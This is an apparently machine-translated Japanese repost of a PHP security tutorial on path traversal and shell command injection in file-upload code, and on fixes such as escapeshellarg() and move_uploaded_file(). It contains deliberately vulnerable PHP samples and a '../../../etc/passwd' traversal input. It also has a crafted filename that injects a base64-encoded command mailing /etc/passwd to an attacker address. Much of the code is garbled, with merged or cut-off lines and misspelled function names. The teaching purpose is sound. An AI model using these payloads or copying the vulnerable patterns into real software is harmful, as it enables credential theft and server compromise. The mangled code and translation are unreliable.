ホームページ  >  記事  >  php教程  >  PHPのセキュリティと関連

PHPのセキュリティと関連

WBOY
WBOYオリジナル
2016-06-21 09:10:111262ブラウズ

安全性

セキュリティ問題に注意を払うことの重要性
見るだけがすべてではない

ユーザーがプログラムに悪意を持ってダメージを与えるのを防ぐための最も効果的だが見落とされがちな方法は、コードを書くときにその可能性を考慮することです。コード内で起こり得るセキュリティ上の問題を認識することが重要です。 PHP で大きなテキスト ファイルを書き込むプロセスを簡略化するために設計された次の関数の例を考えてみましょう。 / ファイル名が空の場合は、すべてのファイルを閉じます
if ($filename == NULL) {
foreach($open_files as $fr) {
fclose($fr);
}
return true; md5($filename);
if(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+"); return false;
}
fputs($open_files[$index], $text);
return true;

この関数は、ファイル名とファイルに書き込まれるテキストの 2 つのデフォルトパラメータを受け取ります。 。
この関数はまずファイルが開かれているかどうかを確認し、開かれている場合は元のファイル ハンドルが使用されます。それ以外の場合は、自動的に作成されます。どちらの場合も、テキストはファイルに書き込まれます。
関数に渡されたファイル名が NULL の場合、開いているファイルはすべて閉じられます。使用例を以下に示します。
開発者が次の形式で複数のテキスト ファイルを作成すると、この関数はより明確で読みやすくなります。
この関数が、この関数を呼び出すコードを含む別のファイルに存在すると仮定します。
以下はそのようなプログラムで、quotes.php と呼ばれます:



引用の性質を選択してください:

引用:
;
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}"
$quote_msg = $_GET['quote_text'] ;
if (write_text($filename, $quote_msg)) {
echo "

引用を保存しました!

";
echo "

引用の書き込みエラー

";
}
write_text(NULL)?> ご覧のとおり、この開発者はwrite_text() 関数を使用して、ユーザーがお気に入りの引用文を送信してテキスト ファイルに保存できるシステムを作成しました。
残念ながら、開発者は、このプログラムによって悪意のあるユーザーが Web サーバーのセキュリティを侵害できるとは考えていなかったのかもしれません。
おそらく今、あなたは、この一見無害に見えるプログラムがどのようにしてセキュリティ リスクを引き起こすのか疑問に思っているでしょう。
見分けがつかない場合は、次の URL を検討してください。このプログラムが quotes.php という名前であることを思い出してください:

http://www.somewhere.com/fun/quotes.php?quote= Different_file.dat"e_text=garbage+data

この URL が Web サーバーに渡されるとどうなりますか?

当然、quotes.php が実行されますが、必要な 3 つのファイルの 1 つに引用符を書き込む代わりに、文字列のガベージ データを含む Different_file.dat という新しいファイルが作成されます。

明らかに、これは望ましい動作ではありません。悪意のあるユーザーが UNIX パスワード ファイルにアクセスし、引用符を ../../../etc/passwd として指定してアカウントを作成する可能性があります (ただし、これには Web サーバーがスーパーユーザーとしてプログラムする)、この場合は、読むのをやめてすぐに修正する必要があります)。

/home/web/quotes/ がブラウザー経由でアクセスできる場合、おそらくこのプログラムの最も深刻なセキュリティ問題は、任意のユーザーが任意の PHP プログラムを作成して実行できることです。これでは際限のないトラブルが発生します。

ここにいくつかの解決策があります。ディレクトリにいくつかのファイルを書き込むだけの場合は、関連する配列を使用してファイル名を保存することを検討してください。ユーザーが入力したファイルがこの配列に存在する場合、安全に書き込むことができます。もう 1 つのアイデアは、ディレクトリ区切り文字が存在しないようにするために、文字または数字以外の文字をすべて削除することです。もう 1 つの方法は、ファイル拡張子をチェックして、ファイルが Web サーバーによって実行されないことを確認することです。

原理は簡単です。開発者は、プログラムを実行したいときにプログラムが何をしているかよりも考えなければなりません。

フォーム要素に不正なデータが入力された場合はどうなりますか?悪意のあるユーザーによってプログラムが意図しない動作をする可能性がありますか?こうした攻撃を阻止するにはどうすればよいでしょうか? Web サーバーと PHP プログラムは、最も弱いセキュリティ リンクの下でのみ安全であるため、これらの安全ではない可能性のあるリンクが安全であることを確認することが重要です。

セキュリティ関連の一般的な間違い

ここでは、セキュリティを損なう可能性のあるコーディングと管理の間違いの要点と不完全なリストをいくつか紹介します


エラー 1。データを信頼する
これは、PHP プログラムのセキュリティに関する私の議論全体に貫かれているテーマです。外部から来たデータを決して信頼してはなりません。ユーザーが送信したフォーム、ファイル システム上のファイル、または環境変数からのデータであっても、単なる当然のデータとみなすことはできません。したがって、セキュリティを確保するには、ユーザー入力を検証し、フォーマットする必要があります。

エラー2。 Web ディレクトリへの機密データの保存
すべての機密データは、データを使用する必要があるプログラムとは別のファイル、およびブラウザからアクセスできないディレクトリに保存する必要があります。機密データを使用する必要がある場合は、include または require ステートメントを使用して適切な PHP プログラムに機密データを含めます。

エラー3。推奨されるセキュリティ予防策を使用していない
PHP マニュアルには、PHP プログラムを使用および作成する際のセキュリティ予防措置に関する完全な章が含まれています。このマニュアルでは、ケーススタディに基づいて、潜在的なセキュリティ リスクが存在する場合と、それを最小限に抑える方法についても (ほぼ) 明確に説明しています。別の例では、悪意のあるユーザーが開発者や管理者のミスを利用して、システムのアクセス許可を取得するために重要なセキュリティ情報を取得します。これらの警告に注意し、悪意のあるユーザーがシステムに実際の損害を与える可能性を減らすために適切な措置を講じてください。


PHP でのシステム コールの実行
PHP でシステム コールを実行するにはさまざまな方法があります。

たとえば、system()、exec()、passthru()、popen()、バッククオート (`) 演算子を使用すると、プログラム内でシステム コールを実行できます。これらの機能を不適切に使用すると、悪意のあるユーザーがサーバー上でシステム コマンドを実行する可能性があります。ファイルにアクセスする場合と同様、ほとんどの場合、システム コマンドの実行につながる信頼性の低い外部入力によってセキュリティの脆弱性が発生します。

システムコールを使用したプログラム例
http ファイルのアップロードを処理するプログラムを考えてみましょう。zip プログラムを使用してファイルを圧縮し、指定されたディレクトリ (デフォルトは /usr/local/archives/) に移動します。コードは次のとおりです:


$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";

if (isset($_FILES['ファイル'] )) {
$tmp_name = $_FILES['file']['tmp_name']
$cmp_name = dirname($_FILES['file']['tmp_name'])
"/{$_FILES[ 'file' ]['name']}.zip";
$filename = Basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$出力 = ` $systemcall`;

if (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
}
}
?>
圧縮するファイル:



このプログラムは非常にシンプルで理解しやすいように見えますが、悪意のあるユーザーが悪用する方法がいくつかあります。最も深刻なセキュリティ問題は、圧縮コマンドを (` 演算子を介して) 実行するときに存在します。これは、次の行ではっきりとわかります:

if (isset($_FILES['file'])) {
$ tmp_name = $ _FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name'])
"/{$_FILES['file']['name' ]}。 zip";

$filename = Basename($cmp_name);

if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
..
プログラムを騙して任意のシェル コマンドを実行させる
このコードは非常に安全に見えますが、ファイルのアップロード権限を持つユーザーに任意のシェル コマンドを実行できるようにしてしまう潜在的な危険性があります。

正確に言うと、このセキュリティ脆弱性は $cmp_name 変数の割り当てに起因します。ここでは、圧縮ファイルのファイル名を、クライアントからアップロードしたときと同じにする必要があります (拡張子は .zip)。 $_FILES['file']['name'] (クライアントにアップロードされたファイルのファイル名が含まれます) を使用しました。

この場合、悪意のあるユーザーは、特別な意味を持つ文字を含むファイルを基盤となるオペレーティング システムにアップロードすることで、自身の目的を達成できます。たとえば、以下に示すようにユーザーが空のファイルを作成した場合はどうなるでしょうか? (UNIX シェル プロンプトで)

[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';"
このコマンドは、次の名前のファイルを作成します:

;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';
奇妙に見えますか? この「ファイル名」を見てみましょう。PHP の CLI バージョンで次のコードを実行するコマンドによく似ていることがわかります:
$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N) 3ZA ==) ;
system($code);
?>
興味本位で $code 変数の内容を表示すると、その中に mail baduser@somewhere.com < /etc/passwd が含まれていることがわかります。プログラムに渡され、PHPがファイルを実行して、実際に次のステートメントを実行します。 = ")) ;
system($code);';.zip /tmp/phpY4iatI
驚くべきことに、上記のコマンドは 1 つのステートメントではなく 3 つのステートメントです! UNIX シェルはセミコロン (;) をシェル コマンドの終わりとして解釈するためです。別のコマンドの先頭では、セミコロンが引用符で囲まれている場合を除き、PHP の system() は実際には次のように実行されます:

[user@localhost]# /usr/bin/zip /tmp/
[user@localhost]# php -r
'$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
[user@localhost]# .zip /tmp/phpY4iatI
としてご覧のとおり、これは無害に見えますPHP プログラムは、任意のシェル コマンドや他の PHP プログラムを実行するためのバックドアになります。この例は、パスに CLI バージョンの PHP が含まれるシステムでのみ機能しますが、この手法を使用する他の方法でも同じ効果を達成できます。システムコール攻撃との戦い
ここで重要なのは、コンテンツに関係なく、ユーザーからの入力は信頼すべきではないということです。システム コールを使用するときに (システム コールをまったく使用しない以外に) 同様の状況をどのように回避するかという問題は残ります。このタイプの攻撃に対抗するために、PHP は 2 つの関数、escapeshellarg() とscapeshellcmd() を提供します。

escapeshellarg() 関数は、システム コマンド (この場合は zip コマンド) への引数として使用されるユーザー入力から潜在的に危険な文字を削除するように設計されています。この関数の構文は次のとおりです:

escapeshellarg($string)
$string はフィルタリングの入力であり、戻り値はフィルタリングされた文字です。この関数を実行すると、文字の周囲に一重引用符が追加され、元の文字列内の一重引用符がエスケープ (前に置かれます) されます。私たちのルーチンでは、システム コマンドを実行する前に次の行を追加すると、

$cmp_name =escapeshellarg($cmp_name);
$tmp_name =escapeshellarg($tmp_name); パラメータが次のように設定されていることを確認することで、システム コールに渡すことができます。このようなセキュリティリスクを回避するために、他の意図のないユーザー入力として処理されます。

escapeshellcmd() は、基盤となるオペレーティング システムにとって特別な意味を持つ文字のみをエスケープする点を除いて、escapeshellarg() に似ています。 escapeshellarg() とは異なり、escapeshellcmd() はコンテンツ内の空白を処理しません。たとえば、escapeshellcmd() を使用してエスケープすると、文字

$string = "'hello, world!';evilcommand"
は次のようになります:

'hello, world';evilcommand
この文字列がシステム コールとして使用される場合シェルはそれを 2 つの別個の引数 ('hello と world';evilcommand) として解釈するため、引数は依然として正しい結果を取得しません。ユーザーがシステムコールの引数リストの一部を入力する場合は、escapeshellarg() の方が良い選択です。


アップロードされたファイルを保護する
この記事全体を通じて、私は悪意のあるユーザーによってシステム コールがどのようにハイジャックされ、望ましくない結果が生じる可能性があるかのみに焦点を当ててきました。
ただし、ここで言及する価値のある別の潜在的なセキュリティ リスクがあります。もう一度ルーチンを見て、次の行に注目してください。

$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file' ]['tmp_name'] ) .
"/{$_FILES['file']['name']}.zip";

$filename = basename($cmp_name);
潜在的なセキュリティリスクが発生する上記のスニペットのコード行は、最後の行でアップロードされたファイルが実際に存在するかどうかを判断します (一時ファイル名 $tmp_name で存在します)。

このセキュリティリスクは、PHP 自体に起因するものではなく、$tmp_name に保存されたファイル名が実際にはファイルではなく、悪意のあるユーザーがアクセスしたいファイル (/etc/ など) を指しているという事実から発生します。パスワード。

この状況の発生を防ぐために、PHP には file_exists() と同じ is_uploaded_file() 関数が用意されていますが、この関数はファイルが実際にクライアントからアップロードされたかどうかのチェックも提供します。

ほとんどの場合、アップロードされたファイルを移動する必要があります。PHP には、is_uploaded_file() と連携する move_uploaded_file() 関数が用意されています。この関数は、rename() と同様にファイルを移動するために使用されます。ただし、実行前に、移動されたファイルがアップロードされたファイルであるかどうかを自動的にチェックします。 move_uploaded_file() の構文は次のとおりです。

move_uploaded_file($filename, $destination);実行されると、関数はアップロードされたファイル $filename を宛先 $destination に移動し、操作が成功したかどうかを示すブール値を返します。

注: John Coggeshall は PHP コンサルタント兼著者です。 PHP を中心に寝るようになって約 5 年になります。
英語原文: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html



声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。